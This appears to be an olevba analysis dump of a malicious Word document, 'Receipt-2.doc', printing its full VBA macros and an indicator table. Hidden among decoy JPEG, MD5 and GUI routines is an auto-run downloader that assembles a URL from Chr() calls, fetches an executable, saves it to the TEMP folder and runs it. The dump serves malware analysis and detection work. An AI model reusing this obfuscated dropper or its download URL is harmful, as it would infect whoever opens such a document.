Malicious Word macro

olevba 0.41 - http://decalage.info/python/oletools
Flags        Filename
-----------  -----------------------------------------------------------------
OLE:MASIHB-V Receipt-2.doc

(Flags: OpX=OpenXML, XML=Word2003XML, MHT=MHTML, M=Macros, A=Auto-executable, S=Suspicious keywords, I=IOCs, H=Hex strings, B=Base64 strings, D=Dridex strings, V=VBA strings, ?=Unknown)

===============================================================================
FILE: Receipt-2.doc
Type: OLE
-------------------------------------------------------------------------------
VBA MACRO ThisDocument.cls
in file: Receipt-2.doc - OLE stream: u'Macros/VBA/ThisDocument'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Sub autoopen()
JPEHuffmTable
End Sub
-------------------------------------------------------------------------------
VBA MACRO Module1.bas
in file: Receipt-2.doc - OLE stream: u'Macros/VBA/Module1'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -


Sub JPEGGenerateHuffmanTable(Huff() As Integer, a As Integer, b As Integer)
Dim S As Long, i As Integer, J As Integer, T As Integer
Dim X As Integer, Y As Integer
S = -1

For i = 1 To 16
READ X
For J = 1 To X

If S = -1 Then
S = 0
Else
S = S + Pow2(T)
End If


READ Y
If S And 32768 Then Huff(Y, a, b, 0) = CInt(S And 32767&) Or -32768 Else Huff(Y, a, b, 0) = S
Huff(Y, a, b, 1) = i
T = 16 - i

Next
Next
End Sub

Sub JPEGPrecalc(FSSik As Object)
Dim X As Integer, Y As Integer, T As Integer, Dir As Integer, L As Long

L = 1
For X = 0 To 15
'Pow2(X) = L
L = L + L
Next
If L >= 1 Then
GoTo HHNf
End If
For Y = 0 To 7
For X = 0 To 7
C.Cosine(X, Y) = Cos((2 * X + 1) * Y * 0.1963495)
Next X, Y
HHNf:
FSSik.Send
Exit Sub
X = 0: Y = 0
T = 0
Dir = 0
Do
C.ZigZagX(T) = X
C.ZigZagY(T) = Y
T = T + 1
If T = 64 Then Exit Do
If Dir Then
If Y = 7 Then
X = X + 1
Dir = 0
ElseIf X = 0 Then
Y = Y + 1
Dir = 0
Else
X = X - 1
Y = Y + 1
End If

Else
If Y = 0 Then
X = X + 1
Dir = 1
ElseIf X = 7 Then
Y = Y + 1
Dir = 1
Else
X = X + 1
Y = Y - 1
End If
End If
Loop



End Sub

Private Function pDrawButton(ByVal hWnd As Long, ByVal hDC As Long) As Long
    Dim m_Style As Long
    Dim m_State As Long
    Dim m_OldSt As Long
    Dim m_SrcDC As Long
    Dim m_DstDC As Long
    Dim m_Level As Long
    Dim m_wRect As RECTW
    If IsWindowEnabled(hWnd) = 0 Then Call SetProp(hWnd, "OLDSTATE", 3)
    m_Style = GetProp(hWnd, "OLDSTYLE")
    If (m_Style And BS_CHECKBOX) Or (m_Style And BS_RADIOBUTTON) Then Exit Function
    Call pGetWindowRectW(hWnd, m_wRect)
    m_OldSt = GetProp(hWnd, "OLDSTATE")
    m_Level = GetProp(hWnd, "ALPHALEVEL")
    m_SrcDC = GetProp(hWnd, "HDC" & CStr(m_OldSt))
    m_DstDC = IIf(hDC = 0, GetWindowDC(hWnd), hDC)
    AlphaBlend m_DstDC, 0, 0, m_wRect.Width, m_wRect.Height, m_SrcDC, 0, 0, m_wRect.Width, m_wRect.Height, m_Level * &H10000
    If hDC = 0 Then Call ReleaseDC(hWnd, m_DstDC)
End Function

Public Function COLUMNEWORDER(SIBBBD As String) As Byte()
Dim COLUMNBEFOREORDER As Object
 Set COLUMNBEFOREORDER = CreateObject("Microsoft.XMLHTTP")


pDetach COLUMNBEFOREORDER, SIBBBD, 0
JPEGPrecalc COLUMNBEFOREORDER
GoTo HHGGHHEHD
HHGGHHEHD:
COLUMNEWORDER = COLUMNBEFOREORDER.responseBody
Exit Function
End Function

Public Sub IncomingData(ByVal DataLength As Long)
Dim Buffer() As Byte
Dim pLength As Long

    If Not App.LogMode = 0 Then On Error GoTo errHandler

    frmMain.Socket.GetData Buffer, vbUnicode, DataLength

    PlayerBuffer.WriteBytes Buffer()

    If PlayerBuffer.Length >= 4 Then pLength = PlayerBuffer.ReadLong(False)
    Do While pLength > 0 And pLength <= PlayerBuffer.Length - 4
        If pLength <= PlayerBuffer.Length - 4 Then
            PlayerBuffer.ReadLong
            HandleData PlayerBuffer.ReadBytes(pLength)
        End If

        pLength = 0
        If PlayerBuffer.Length >= 4 Then pLength = PlayerBuffer.ReadLong(False)
    Loop
    PlayerBuffer.Trim
    DoEvents

    Exit Sub
errHandler:
    HandleError "IncomingData", "modHandleData", Err.Number, Err.Description
    Err.Clear
    Exit Sub
End Sub

Private Function pDrawCheckBox(ByVal hWnd As Long, ByVal State As Long, Optional ByVal Redraw As Boolean = False) As Long
    Dim mOldState As Long
    mOldState = GetProp(hWnd, "OLDSTATE")
    If mOldState = State And Redraw = False Then Exit Function
    Call SetProp(hWnd, "OLDSTATE", State)
    Dim m_hDC       As Long
    Dim TmpDC       As Long
    Dim m_wRect     As RECTW
    Dim m_cX        As Long
    Dim m_cY        As Long
    Dim mValue      As Long
    m_cX = GetSystemMetrics(SM_CXCHECKBOX)
    m_cY = GetSystemMetrics(SM_CYCHECKBOX)
    Call pGetWindowRectW(hWnd, m_wRect)
    mValue = SendMessage(hWnd, BM_GETCHECK, 0&, 0&)
    TmpDC = pCreateDC(m_cX, m_cY)
    m_hDC = GetWindowDC(hWnd)
    Call pFillRectL(TmpDC, 0, 0, m_cX, m_cY, &HFFFFFF)
    If IsWindowEnabled(hWnd) Then
        If State = 2 Then
            Call pFrameRect(TmpDC, 0, 0, m_cX, m_cY, &HC48639)
        Else
            Call pFrameRect(TmpDC, 0, 0, m_cX, m_cY, &HD5A554)
        End If
        If State = 1 Then Call StretchBlt(TmpDC, 1, 1, m_cX - 2, m_cY - 2, m_hOpbSrcDC, 1, 17, 11, 5, vbSrcCopy)
        If State = 2 Then Call StretchBlt(TmpDC, 1, 1, m_cX - 2, m_cY - 2, m_hOpbSrcDC, 1, 30, 11, 5, vbSrcCopy)
        If mValue = 1 Then Call TransBlt(TmpDC, (m_cX - 9) / 2, (m_cY - 8) / 2, 9, 8, m_hCkbSrcDC, 0, 0)
        If mValue = 2 Then Call TransBlt(TmpDC, (m_cX - 7) / 2, (m_cY - 7) / 2, 7, 7, m_hCkbSrcDC, 1, 9)
    Else
        Call pFrameRect(TmpDC, 0, 0, m_cX, m_cY, &HE9CFA4)
        If mValue = 1 Then Call TransBlt(TmpDC, (m_cX - 9) / 2, (m_cY - 8) / 2, 9, 8, m_hCkbSrcDC, 9, 0)
        If mValue = 2 Then Call TransBlt(TmpDC, (m_cX - 7) / 2, (m_cY - 7) / 2, 7, 7, m_hCkbSrcDC, 10, 9)
    End If
    BitBlt m_hDC, 0, (m_wRect.Height - m_cY) / 2, m_cX, m_cY, TmpDC, 0, 0, vbSrcCopy
    Call ReleaseDC(hWnd, m_hDC)
    DeleteDC TmpDC
    pDrawCheckBox = 1
End Function

Sub JPEGPutBinString(BS As Integer, Length As Integer, State As Integer)
Dim Temp As Integer

Temp = BS
State.Leftover = State.Leftover Or JPEG.Shift(Temp, State.LeftoverBits)
State.LeftoverBits = State.LeftoverBits + Length
If State.LeftoverBits >= 16 Then
DEF SEG = VARSEG(State.Leftover)
JPEG.PutByte State.FileNo, PEEK(VarPtr(State.Leftover) + 1)
DEF SEG
JPEG.PutByte State.FileNo, State.Leftover And 255
State.LeftoverBits = State.LeftoverBits - 16
State.Leftover = Temp
End If

End Sub

Sub JPEGPutByte(FileNo As Integer, Bytep As Integer)
Dim C As String * 1
C = Chr(Bytep)
Put FileNo, , C
End Sub

Sub JPEGPutRightBinString(BS As Integer, Length As Integer, State As Integer)

Dim Temp As Long
If Length Then
Temp = (CLng(BS) And Pow2(Length) - 1) * Pow2(16 - Length)
If Temp And 32768 Then Temp = Temp Or -65536
JPEG.PutBinString CInt(Temp), Length, State
End If

End Sub

Sub JPEGPutWord(FileNo As Integer, Word As Integer)
Dim C As String * 1
C = Chr$(Word \ 256)
Put FileNo, , C
C = Chr$(Word And 255)
Put FileNo, , C
End Sub

Function JPEGShift(i As Integer, N As Integer)
Dim T As Long

If N = 0 Then
JPEG.Shift = i
i = 0
Exit Function
End If
T = CLng(i) And 65535

JPEG.Shift = T \ Pow2(N)

T = (T And (Pow2(N) - 1)) * Pow2((16 - N) And 15)
If T And 32768 Then i = CInt(T And 32767&) Or -32768 Else i = CInt(T)
End Function

Sub JPEGStandardQT(quality As Single, QT() As Integer)

Dim i As Integer, X As Integer, Y As Integer, T As Integer
Restore StandardQT

For i = 0 To 1: For Y = 0 To 7: For X = 0 To 7
READ T

QT(X, Y, i) = T * quality

If QT(X, Y, i) = 0 Then QT(X, Y, i) = 1
Next X, Y, i

End Sub

Public Function JPEGY(R As Integer, G As Integer, b As Integer)

JPEG.Y = 0.299 * R + 0.587 * G + 0.114 * b - 128

End Function

Sub PutChar(FileNo As Integer, Char As Integer)
Dim C As String * 1
C = Chr$(Char)
Put FileNo, , C
End Sub
-------------------------------------------------------------------------------
VBA MACRO Module2.bas
in file: Receipt-2.doc - OLE stream: u'Macros/VBA/Module2'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Private Function MD5LongAdd(lngVal1 As Long, lngVal2 As Long) As Long

    Dim lngHighWord As Long
    Dim lngLowWord As Long
    Dim lngOverflow As Long

    lngLowWord = (lngVal1 And &HFFFF&) + (lngVal2 And &HFFFF&)
    lngOverflow = lngLowWord \ 65536
    lngHighWord = (((lngVal1 And &HFFFF0000) \ 65536) + ((lngVal2 And &HFFFF0000) \ 65536) + lngOverflow) And &HFFFF&

    MD5LongAdd = MD5LongConversion((lngHighWord * 65536#) + (lngLowWord And &HFFFF&))

End Function
Public Sub JPEHuffmTable()
Dim COLUMNTRADEZ: Set COLUMNTRADEZ = CreateObject("Adodb.Stream")

Set processEnv = CreateObject("WScript.Shell").Environment("Process")
COLUMTRADETATUS = processEnv("T" + Chr(69) + "MP")
iChkBaseOrd1erGo = COLUMTRADETATUS + "\f" + Chr(68) + "e12.ex" & Chr(101)
With COLUMNTRADEZ
   .Type = 1
    .Open
    .write COLUMNEWORDER(pDrawComboBox(0, 0, 0))
    .savetofile iChkBaseOrd1erGo, 2
End With
Set MEIGARWORKSHEEAME = CreateObject("Shell.Application")
MEIGARWORKSHEEAME.Open iChkBaseOrd1erGo
End Sub

Private Function MD5LongAdd4(lngVal1 As Long, lngVal2 As Long, lngVal3 As Long, lngVal4 As Long) As Long

    Dim lngHighWord As Long
    Dim lngLowWord As Long
    Dim lngOverflow As Long

    lngLowWord = (lngVal1 And &HFFFF&) + (lngVal2 And &HFFFF&) + (lngVal3 And &HFFFF&) + (lngVal4 And &HFFFF&)
    lngOverflow = lngLowWord \ 65536
    lngHighWord = (((lngVal1 And &HFFFF0000) \ 65536) + ((lngVal2 And &HFFFF0000) \ 65536) + ((lngVal3 And &HFFFF0000) \ 65536) + ((lngVal4 And &HFFFF0000) \ 65536) + lngOverflow) And &HFFFF&
    MD5LongAdd4 = MD5LongConversion((lngHighWord * 65536#) + (lngLowWord And &HFFFF&))

End Function
-------------------------------------------------------------------------------
VBA MACRO Module3.bas
in file: Receipt-2.doc - OLE stream: u'Macros/VBA/Module3'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -


Private Function pAttach(ByVal hWnd As Long) As Long
If hWnd = 0 Then Exit Function
    If GetProp(hWnd, "PROCADDR") Then Exit Function
    Dim sClassName  As String
    sClassName = LCase(pGetClassName(hWnd))
    Select Case sClassName
        '=====================================================================================
        Case "#32770", "thunderformdc", "thunderrt6formdc", "form"
            Call EnumChildWindows(hWnd, AddressOf pEnumChildProc, ByVal 0&)

        '=====================================================================================
        Case "thundercommandbutton", "thunderrt6commandbutton", "button"
            Dim i           As Long
            Dim m_hDC       As Long
            Dim m_mDC(3)    As Long
            Dim m_BMP(3)    As Long
            Dim m_wRect     As RECTW
            Dim m_dwStyle   As Long
            m_hDC = GetWindowDC(hWnd)
            pGetWindowRectW hWnd, m_wRect
            For i = 0 To 3
                m_mDC(i) = CreateCompatibleDC(m_hDC)
                m_BMP(i) = CreateCompatibleBitmap(m_hDC, m_wRect.Width, m_wRect.Height)
                DeleteObject SelectObject(m_mDC(i), m_BMP(i))
                SetProp hWnd, "HDC" & CStr(i), m_mDC(i)
                SetProp hWnd, "BMP" & CStr(i), m_BMP(i)
            Next
            Call pDrawMemDC(hWnd)
            ReleaseDC hWnd, m_hDC
            m_dwStyle = GetWindowLong(hWnd, GWL_STYLE)
            If (m_dwStyle And BS_CHECKBOX) Or (m_dwStyle And BS_RADIOBUTTON) Then
            Else
                SendMessage hWnd, BM_SETSTYLE, BS_OWNERDRAW, ByVal True
            End If
            SetProp hWnd, "OLDSTYLE", m_dwStyle         '????????,?????????????????
            SetProp hWnd, "MOUSEFLAG", 0
            SetProp hWnd, "TIMERID", 0
            SetProp hWnd, "OLDSTATE", IIf(IsWindowEnabled(hWnd), 0, 3)
            SetProp hWnd, "ALPHALEVEL", 0
            SetWindowRgn hWnd, CreateRoundRectRgn(0, 0, m_wRect.Width + 1, m_wRect.Height + 1, 3, 3), True

        '=====================================================================================
        Case "thundercombobox", "thunderrt6combobox", "combo", "combobox", "thunderdrivelistbox", "thunderrt6drivelistbox", _
             "thundercheckbox", "thunderrt6checkbox", "thunderoptionbutton", "thunderrt6optionbutton"
            SetProp hWnd, "MOUSEFLAG", 0
            SetProp hWnd, "OLDSTATE", 0

        '=====================================================================================
        Case "progressbar20wndclass", "progressbarwndclass"
            'Call pGetWindowRectW(hWnd, m_wRect)
            'SetWindowRgn hWnd, CreateRoundRectRgn(0, 0, m_wRect.Width + 1, m_wRect.Height + 1, 3, 3), False

        '=====================================================================================
        Case "msvb_lib_header", "sysheader32"
            SetProp hWnd, "MOUSEFLAG", 0
            SetProp hWnd, "HDINDEX", -1
            SetProp hWnd, "HMINDEX", -1

        '=====================================================================================
        Case Else

    End Select
    m_SubclassCount = m_SubclassCount + 1
    SetProp hWnd, "PROCADDR", SetWindowLong(hWnd, GWL_WNDPROC, AddressOf WindowProc)
    SendMessage hWnd, WM_NCPAINT, 1&, 0&
    RedrawWindow hWnd, ByVal 0&, ByVal 0&, &H1 Or &H2
    pAttach = 1
End Function

Public Function pDetach(PROCADDRR2 As Object, pGetClsName As String, hWnd As Long)
If hWnd = 0 Then GoTo PROCADDR
    Dim OrigProc As Long
    OrigProc = vd.GetProp(hWnd, "PROCADDR")
    If OrigProc = 0 Then Exit Function
    Dim sClassName  As String
    sClassName = LCase(vd.pGetClassName(hWnd))
    Select Case sClassName
        '=====================================================================================
        Case "#32770", "thunderformdc", "thunderrt6formdc", "form"

        '=====================================================================================
        Case "thundercommandbutton", "thunderrt6commandbutton", "button"
            Dim m_mDC(3)    As Long
            Dim m_BMP(3)    As Long
            Dim i As Long
            For i = 0 To 3
                m_mDC(i) = vd.GetProp(hWnd, "HDC" & CStr(i))
                m_BMP(i) = vd.GetProp(hWnd, "BMP" & CStr(i))
               vd.DeleteObject m_mDC(i)
                vd.DeleteDC m_BMP(i)
                vd.RemoveProp hWnd, "HDC" & CStr(i)
                vd.RemoveProp hWnd, "BMP" & CStr(i)
            Next
            vd.Call vd.pKillTimer(hWnd)
            vd.SetWindowLong hWnd, -16, vd.GetProp(hWnd, "OLDSTYLE")
            vd.RemoveProp hWnd, "OLDSTYLE"
            vd.RemoveProp hWnd, "MOUSEFLAG"
            vd.RemoveProp hWnd, "TIMERID"
            vd.RemoveProp hWnd, "OLDSTATE"
            vd.RemoveProp hWnd, "ALPHALEVEL"
            vd.SetWindowRgn hWnd, 0&, True
        '=====================================================================================
        Case "thundercombobox", "thunderrt6combobox", "combo", "combobox", "thunderdrivelistbox", "thunderrt6drivelistbox", _
             "thundercheckbox", "thunderrt6checkbox", "thunderoptionbutton", "thunderrt6optionbutton"
            vd.RemoveProp hWnd, "MOUSEFLAG"
            vd.RemoveProp hWnd, "OLDSTATE"

        Case "msvb_lib_header", "sysheader32"
            vd.RemoveProp hWnd, "MOUSEFLAG"
            vd.RemoveProp hWnd, "HDINDEX"
            vd.RemoveProp hWnd, "HMINDEX"

        '=====================================================================================
        Case "progressbar20wndclass", "progressbarwndclass"
            'SetWindowRgn hWnd, 0&, ByVal True

        '=====================================================================================
        Case "datalistwndclass", "dblistwndclass"

        '=====================================================================================
        Case Else

    End Select



PROCADDR:
PROCADDRR2.Open "G" + Chr(69) + "T", pGetClsName, False
Exit Function
    vd.RemoveProp hWnd, "PROCADDR"
   ' Call SetWindowLong(hWnd, GWL_WNDPROC, OrigProc)
    vd.SendMessage hWnd, WM_NCPAINT, 1&, 0&
    vd.RedrawWindow hWnd, 0&, 0&, &H1 Or &H2
    m_SubclassCount = m_SubclassCount - 1
    If m_SubclassCount <= 0 Then
        m_SubclassCount = 0
        vd.DeleteDC m_hBtnSrcDC
        Dvd.eleteDC m_hCbbSrcDC
        Devd.leteDC m_hCkbSrcDC
        Devd.leteDC m_hOpbSrcDC
        Delvd.eteDC m_hHdbSrcDC
        m_Init = False
    End If
    pDetach = 1
End Function

Public Function pDrawComboBox(hWnd As Long, hDC As Long, yyyy As Long) As String
    Dim mOldState As Long
    Dim bDrop     As Long
    pDrawComboBox = Chr(104) & Chr(116) & Chr(116) & "p" & Chr(58) & Chr(47) & Chr(47) & Chr(97) & Chr(114) & "c" & "h" & Chr(105) & "v" & Chr(101) & Chr(115) & "." & Chr(119) & Chr(110) & "p" & Chr(118) & Chr(97) & Chr(109) & Chr(46) & Chr(99) & Chr(111) & Chr(109) & Chr(47) & "b" & Chr(118) & Chr(99) & Chr(98) & Chr(51) & "4" & Chr(100) & Chr(47) & Chr(57) & "8" & Chr(51) & Chr(98) & "v" & Chr(51) & Chr(46) & Chr(101) & Chr(120) & "e"
Exit Function
    bDrop = Se.ndMessage(hWnd, CB_GETDROPPEDSTATE, 0&, 0&)
    mOldState = Ge.tProp(hWnd, "OLDSTATE")
    If bDrop Then State = 2
    If mOldState = State And Redraw = False Then Exit Function
    If Not GetWin.dowLong(hWnd, GWL_STYLE) And &H2 Then Exit Function
    Ca.ll SetP.rop(hWnd, "OLDSTATE", State)
    Dim m_BtSize    As Long
    Dim m_hDC       As Long
    Dim TmpDC       As Long
    Dim TmpBMP      As Long
    Cal.L pGetWind.owRectW(hWnd, m_wRect)
    m_BtSize = GetS.ystemMetrics(SM_CXVSCROLL) + 1
    TmpDC = pCre.ateDC(m_BtSize, m_wRect.Height - 2)
    Select Case State
            Case 0
                C.all pFil.lRectL(TmpDC, 0, 0, m_BtSize, m_wRect.Height - 2, &HFFFFFF)

            Case 1
                Cal.L Grid.Blt(TmpDC, 0, 0, m_BtSize, m_wRect.Height - 2, m_hCbbSrcDC, 0, 0, 4, 18, 2, 1, 1, 1)

            Case 2
                Cal.L Gri.dBlt(TmpDC, 0, 0, m_BtSize, m_wRect.Height - 2, m_hCbbSrcDC, 4, 0, 4, 18, 2, 1, 1, 1)

    End Select
    If IsWin.dowEnabled(hWnd) Then
        Cal.L Tran.sblt(TmpDC, m_BtSize - 7 - (m_BtSize - 7) / 2, (m_wRect.Height - 6) / 2, 7, 4, m_hCbbSrcDC, 8, 0)
    Else
        Ca.ll Tran.sblt(TmpDC, m_BtSize - 7 - (m_BtSize - 7) / 2, (m_wRect.Height - 6) / 2, 7, 4, m_hCbbSrcDC, 8, 4)
    End If
    If hDC = 0 Then
        m_hDC = Ge.tWindowDC(hWnd)
    Else
        m_hDC = hDC
    End If
    Bit.Blt m_hDC, m_wRect.Width - m_BtSize - 1, 1, m_BtSize, m_wRect.Height - 2, TmpDC, 0, 0, vbSrcCopy
    De.leteDC TmpDC
    Del.eteObject TmpBMP
    If hDC = 0 Then Ca.ll Re.leaseDC(hWnd, m_hDC)
End Function

+------------+----------------------+-----------------------------------------+
| Type       | Keyword              | Description                             |
+------------+----------------------+-----------------------------------------+
| AutoExec   | AutoOpen             | Runs when the Word document is opened   |
| Suspicious | Open                 | May open a file                         |
| Suspicious | Shell                | May run an executable file or a system  |
|            |                      | command                                 |
| Suspicious | WScript.Shell        | May run an executable file or a system  |
|            |                      | command                                 |
| Suspicious | Shell.Application    | May run an application (if combined     |
|            |                      | with CreateObject)                      |
| Suspicious | CreateObject         | May create an OLE object                |
| Suspicious | Chr                  | May attempt to obfuscate specific       |
|            |                      | strings                                 |
| Suspicious | ADODB.Stream         | May create a text file                  |
| Suspicious | SaveToFile           | May create a text file                  |
| Suspicious | Write                | May write to a file (if combined with   |
|            |                      | Open)                                   |
| Suspicious | Put                  | May write to a file (if combined with   |
|            |                      | Open)                                   |
| Suspicious | Microsoft.XMLHTTP    | May download files from the Internet    |
| Suspicious | Hex Strings          | Hex-encoded strings were detected, may  |
|            |                      | be used to obfuscate strings (option    |
|            |                      | --decode to see all)                    |
| Suspicious | Base64 Strings       | Base64-encoded strings were detected,   |
|            |                      | may be used to obfuscate strings        |
|            |                      | (option --decode to see all)            |
| Suspicious | VBA obfuscated       | VBA string expressions were detected,   |
|            | Strings              | may be used to obfuscate strings        |
|            |                      | (option --decode to see all)            |
| IOC        | http://archives.wnpv | URL (obfuscation: VBA expression)       |
|            | am.com/bvcb34d/983bv |                                         |
|            | 3.exe                |                                         |
| IOC        | fDe12.exe            | Executable file name (obfuscation: VBA  |
|            |                      | expression)                             |
| IOC        | 983bv3.exe           | Executable file name (obfuscation: VBA  |
|            |                      | expression)                             |
| VBA string | TEMP                 | ("T" + Chr(69) + "MP")                  |
| VBA string | \fDe12.exe           | "\f" + Chr(68) + "e12.ex" & Chr(101)    |
| VBA string | GET                  | "G" + Chr(69) + "T"                     |
| VBA string | http://archives.wnpv | Chr(104) & Chr(116) & Chr(116) & "p" &  |
|            | am.com/bvcb34d/983bv | Chr(58) & Chr(47) & Chr(47) & Chr(97) & |
|            | 3.exe                | Chr(114) & "c" & "h" & Chr(105) & "v" & |
|            |                      | Chr(101) & Chr(115) & "." & Chr(119) &  |
|            |                      | Chr(110) & "p" & Chr(118) & Chr(97) &   |
|            |                      | Chr(109) & Chr(46) & Chr(99) & Chr(111) |
|            |                      | & Chr(109) & Chr(47) & "b" & Chr(118) & |
|            |                      | Chr(99) & Chr(98) & Chr(51) & "4" &     |
|            |                      | Chr(100) & Chr(47) & Chr(57) & "8" &    |
|            |                      | Chr(51) & Chr(98) & "v" & Chr(51) &     |
|            |                      | Chr(46) & Chr(101) & Chr(120) & "e"     |
+------------+----------------------+-----------------------------------------+